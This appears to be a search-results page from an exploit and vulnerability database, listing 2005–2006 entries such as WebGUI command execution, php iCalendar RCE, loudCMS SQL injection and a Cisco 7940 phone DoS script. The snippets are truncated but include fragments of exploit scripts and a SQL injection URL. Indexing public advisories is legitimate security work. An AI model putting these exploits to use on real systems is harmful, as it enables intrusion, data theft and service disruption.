3115 matches found
WebGUI < 6.7.6 arbitrary command execution
The installed version of WebGUI on the remote host fails to sanitize user-supplied input via the SPDX-FileCopyrightText: 2005 David Maciejak Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier:...
php iCalendar <= 2.21 (Cookie) Remote Code Execution Exploit
No description provided by source. !/usr/bin/php -q -d shortopentag=on ? echo "php iCalendar =2.21 "cookielanguage"/"cookiestyle" remote cmmnds xctn\r\n"; echo "- arbitrary local inclusion through cookies\r\n"; echo "by rgod rgodATautisticiDOTorg\r\n"; echo "site:...
GuestBook Script <= 1.7 (include_files) Remote Code Execution Exploit
No description provided by source. !/usr/bin/perl use IO::Socket; print "guestbook script = 1.7 exploit\r\n"; print "rgod [email protected]\r\n"; print "dork: "powered by guestbook script"\r\n\r\n"; short explaination: we have this code in nearly all scripts: ... if isset $includefiles and...
WMNews - footer.php?ctrrowcol Cross-Site Scripting
WMNews - footer.php?ctrrowcol Cross-Site Scripting source: https://www.securityfocus.com/bid/17076/info WMNews is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. An attacker may leverage these...
gallery203.php.txt
!/usr/bin/php -q -d shortopentag=on autisticiorg \r\n"; echo "site: http://retrogod.altervista.org \r\n\r\n"; echo "- works with registerglobals = On and magicquotesgpc = Off \r\n"; if $argc 126 $result.=" ."; else $result.=" ".$string$i; if strlendechexord$string$i==2 $exa.=" ".dechexord$string$...
txtForum 1.0.3/1.0.4 - Multiple Cross-Site Scripting Vulnerabilities
source: https://www.securityfocus.com/bid/17054/info txtForum is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. An attacker may leverage these issues to have arbitrary script code executed in t...
loudCMS.txt
"Loudblog is a sleek and easy-to-use Content Management System CMS for publishing media content on the web." SQL Injection in podcast.php magicquotes=off: http://target/loudblog/podcast.php?id=1' and '1'='0' union select...
DCP-Portal 3.7/4.x/5.x/6.x - 'calendar.php' Multiple Cross-Site Scripting Vulnerabilities
source: https://www.securityfocus.com/bid/17050/info DCP Portal is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. An attacker may leverage these issues to have arbitrary script code executed in...
MS Visual Studio 6.0 sp6 (Malformed .dbp File) Buffer Overflow Exploit
Exploit for unknown platform in category local exploits ====================================================================== MS Visual Studio 6.0 sp6 Malformed .dbp File Buffer Overflow Exploit ====================================================================== / Microsoft Visual Studio 6.0...
phpRPC Library <= 0.7 XML Data Decoding Remote Code Execution
No description provided by source. !/usr/bin/perl root@host perl rpc.pl phprpc.sourceforge.net /modules/phpRPC/server.php --== IHS IRAN HOMELAND SECURITY ==-- phpRPC = 0.7 commands execute exploit by LorD http://www.ihs.ir IRAN HOMELAND SECURITY$ uname -a;id;pwd Linux sc8-pr-web9.sourceforge.net...
Safari archive metadata command execution
Added: 02/24/2006 CVE: CVE-2006-0848 BID: 16736 OSVDB: 23366 Background The Safari web browser supports explicit binding, which allows a file to override the default application for its file type. Safe files are files such as pictures, movies, and archives which are opened automatically when...
myPHPNuke 1.8.8 - reviews.php Cross-Site Scripting
myPHPNuke 1.8.8 - reviews.php Cross-Site Scripting source: https://www.securityfocus.com/bid/16815/info MyPHPNuke is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. An attacker may leverage thes...
Noahs Classifieds 1.01.3 - Search Page SQL Injection
Noahs Classifieds 1.01.3 - Search Page SQL Injection source: https://www.securityfocus.com/bid/16773/info Noah's Classifieds is prone to an SQL-injection vulnerability. The application fails to properly sanitize user-supplied input before using it in an SQL query. Successful exploitation could...
CVE-2006-0698
CVE-2006-0698 affects Zen Cart prior to version 1.2.7. The vulnerability is described as unspecified vulnerabilities allowing remote attackers to cause unknown impact via unspecified vectors (other than SQL injection). The connected documents do not provide concrete exploit details, concrete root...
GnuPG 1.x - Detached Signature Verification Bypass
source: https://www.securityfocus.com/bid/16663/info GnuPG is affected by a detached signature verification-bypass vulnerability because it fails to properly notify scripts that an invalid detached signature was presented and that the verification process has failed. Exploiting this issue allows...
Invision Power Board Army System Mod 2.1 - SQL Injection
?php / --------------------------- EXPLOIT --------------------------- Invision Power Board Army System Mod 2.1 SQL Injection Exploit Tested on: Latest version 2.1.0 Discovered on: 06.02.2006 by Alex & fRoGGz Credits to: SecuBox Labs PLEASE READ THIS ! The query of the SQL Injection depends about...
ImageVue 0.16.1 - 'index.php?bgcol' Cross-Site Scripting
source: https://www.securityfocus.com/bid/16594/info ImageVue is prone to multiple vulnerabilities, including unauthorized uploading of files with arbitrary extensions, authentication bypass, information disclosure, and content injection. Successful exploitation could allow attackers to upload an...
xeCMS 1.0.0 RC 2 (cookie) Remote Command Execution Exploit
Exploit for unknown platform in category web applications ========================================================== xeCMS 1.0.0 RC 2 cookie Remote Command Execution Exploit ========================================================== !/usr/bin/perl xeCMS 1.0.0 RC 2 Remote Command Execution Exploit...
EggBlog 2.0 - id SQL Injection
EggBlog 2.0 - id SQL Injection source: https://www.securityfocus.com/bid/16305/info Eggblog is prone to multiple input validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. Successful exploitation of these vulnerabilities could...
CiscoPhoneDos.pl.txt
!/usr/bin/perl This is made for trashing cisco 7940 ip phones. kokanin made/discovered this. A packetcount of 1000 and a packetdelay of 0.002 sent to port 80 makes my phone reboot - play with the settings and stuff. PRIVATE PRIVATE PRIVATE!!! use Net::RawIP; use Time::HiRes; $pkt = new Net::RawIP...